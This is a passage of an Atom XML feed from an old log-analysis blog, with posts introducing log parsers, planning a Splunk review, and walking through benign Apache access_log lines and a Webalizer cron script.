href='http://loganalysis.blogspot.com/feeds/113690851194403320/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113690851194403320' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113690851194403320'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113690851194403320'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/01/splunk-review-free-version.html' title='Splunk review (free version)'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113629822320225751</id><published>2006-01-03T06:18:00.000-08:00</published><updated>2006-11-05T08:32:26.045-08:00</updated><title type='text'>Log parsers</title><content type='html'>Here you will find links to the log parsers I've been using thru the years. I will drop a few beta:s of my own developed log parsing/analyzing tools asap. Some methods for forensics and intrusion detections will also be covered. This is a huge topic, so I can't post everything I've read or know, but you'll get logs from intrusion attempets and their likings, that I can guarantee.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ok, may the code be stable, and the syslog up and running. Don't forget to make sure that your systems wtmp is in place. LoL&lt;br /&gt;&lt;br /&gt;ALX&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113629822320225751?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://nordstrommarna.mine.nu/download/' title='Log parsers'/><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113629822320225751/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113629822320225751' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113629822320225751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113629822320225751'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/01/log-parsers.html' title='Log parsers'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113629593098537163</id><published>2006-01-03T05:35:00.000-08:00</published><updated>2006-11-05T08:32:25.985-08:00</updated><title type='text'>Analyzing logs. Tools and methods.</title><content type='html'>About time that I check out Splunk and their selfproclaimed awesome logtool. It sure looks promising, and for a wet dream for all System Administrators.&lt;br /&gt;&lt;br /&gt;Excerpt from Splunk's website.&lt;br /&gt;&lt;h3&gt;What Splunk can do for you?&lt;/h3&gt; &lt;ul class="halfSpaced"&gt; &lt;li&gt;&lt;b&gt;System administrators&lt;/b&gt; can find the root cause of problems quickly and locate latent systems issues before they cause downtime.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Developers&lt;/b&gt; can debug interactions among multiple tiers and components in the code-test cycle, the migration from development to production or during production escalations.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Help desk and support teams&lt;/b&gt; can investigate reported incidents and alerts right away without having to reproduce the problem or call in senior analysts or developers.&lt;/li&gt; &lt;/ul&gt; So right now, I will kickstart an installation of Splunk and check out all the nitty gritty techie stuff.&lt;br /&gt;Next out is syslog next generation aka syslog-ng. Unix syslog will of course be covered, but at a later time.&lt;br /&gt;&lt;br /&gt;Parse your logs with care, and alway make backups before you sed/awk the cr.p out of them.&lt;br /&gt;&lt;br /&gt;BRB&lt;br /&gt;&lt;br /&gt;ALX&lt;br /&gt;&lt;br /&gt;Notes: &lt;b&gt;analyse, (analyze US)&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113629593098537163?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.splunk.com/' title='Analyzing logs. Tools and methods.'/><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113629593098537163/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113629593098537163' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113629593098537163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113629593098537163'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2006/01/analyzing-logs-tools-and-methods.html' title='Analyzing logs. Tools and methods.'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113584328037492158</id><published>2005-12-28T23:19:00.000-08:00</published><updated>2006-11-05T08:32:25.925-08:00</updated><title type='text'>http access_log analys part 1</title><content type='html'>Part 1 in log analysis I will provide you with some useful http logs, and try and anlyse them, and if possible correlate them.&lt;br /&gt;&lt;br /&gt;First of all, the logs that I provide are all from Linux systems, but the logs should be similar if you're running apache on a windows box. (Which you should try to avoid if possible).&lt;br /&gt;&lt;br /&gt;The logs from this site, has a few hundred unique visitors a month, and not loaded with lots of traffic, so It's quit easy to go thru these logs manullay and with some small scripts. This is to get a better understanding of the logging format and how you can learn to identify malicious traffic that your httpd daemon logged.&lt;br /&gt;&lt;br /&gt;It's very common to find logs like these in your httpd access log;&lt;br /&gt;192.168.2.88 - - [21/Nov/2005:13:23:18 +0100] "GET / HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.12) Gecko/2&lt;br /&gt;0050919 Firefox/1.0.7"&lt;br /&gt;192.168.2.88 - - [21/Nov/2005:13:23:18 +0100] "GET /favicon.ico HTTP/1.1" 404 288 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.&lt;br /&gt;7.12) Gecko/20050919 Firefox/1.0.7"&lt;br /&gt;192.168.2.88 - - [21/Nov/2005:13:23:45 +0100] "GET / HTTP/1.1" 403 63 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.12) Gecko/&lt;br /&gt;20050919 Firefox/1.0.7"&lt;br /&gt;192.168.2.88 - - [21/Nov/2005:13:23:46 +0100] "GET /favicon.ico HTTP/1.1" 404 288 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.&lt;br /&gt;7.12) Gecko/20050919 Firefox/1.0.7"&lt;br /&gt;&lt;br /&gt;These are ordinary http GET requests and should be treated like vanila traffic. These are usefull for statistics and info gathering about your visitors. There is a bunch of good web analys tools out there, that can easily accomplish the task of presenting the log data in more human readable form.&lt;br /&gt;Webalizer is one of such tools, and it's installed by default in many Linux distributions along with Apache.&lt;br /&gt;Usually you can find Webalizer's script output under /var/www/usage or similar.&lt;br /&gt;&lt;br /&gt;The cron job (for Webalizer) is found under /etc/cron.daily/00webalizer. The script looks like this;&lt;br /&gt;&lt;br /&gt;#! /bin/bash&lt;br /&gt;# update access statistics for the web site&lt;br /&gt;&lt;br /&gt;if [ -s /var/log/httpd/access_log ] ; then&lt;br /&gt;    /usr/bin/webalizer&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;exit 0&lt;br /&gt;&lt;br /&gt;A simple bash script that calls the webalizer binary (/usr/bin/webalizer) and parses the access_log file under /var/log/httpd/. So remember to change the PATH or the name of the access_log file if you don't run the default prefixes.&lt;br /&gt;&lt;br /&gt;End of part I&lt;br /&gt;&lt;br /&gt;To be continued ....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113584328037492158?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://virtualwater.homeunix.net' title='http access_log analys part 1'/><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113584328037492158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113584328037492158' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113584328037492158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113584328037492158'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2005/12/http-accesslog-analys-part-1.html' title='http access_log analys part 1'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113439812676351606</id><published>2005-12-12T06:35:00.000-08:00</published><updated>2006-11-05T08:32:25.866-08:00</updated><title type='text'></title><content type='html'>&lt;a href="http://technorati.com/claim/7n3dwwh8k"&gt;Technorati Profile&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113439812676351606?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113439812676351606/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113439812676351606' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113439812676351606'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113439812676351606'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2005/12/technorati-profile.html' title=''/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19719234.post-113413451981555988</id><published>2005-12-09T05:21:00.000-08:00</published><updated>2006-11-05T08:32:25.805-08:00</updated><title type='text'>About Loganalysis</title><content type='html'>This blog is going to give you a helping hand in analysing lots of different logs from all kinds of platforms.&lt;br /&gt;I will provide a submit your log script soon, with which you can submit logs you know about, and want to&lt;br /&gt;share with the rest of the internet.&lt;br /&gt;&lt;br /&gt;Best Regards,&lt;br /&gt;&lt;br /&gt;ALX&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19719234-113413451981555988?l=loganalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://nordstrommarna.mine.nu' title='About Loganalysis'/><link rel='replies' type='application/atom+xml' href='http://loganalysis.blogspot.com/feeds/113413451981555988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19719234&amp;postID=113413451981555988' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113413451981555988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19719234/posts/default/113413451981555988'/><link rel='alternate' type='text/html' href='http://loganalysis.blogspot.com/2005/12/about-loganalysis.html' title='About Loganalysis'/><author><name>chmod</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
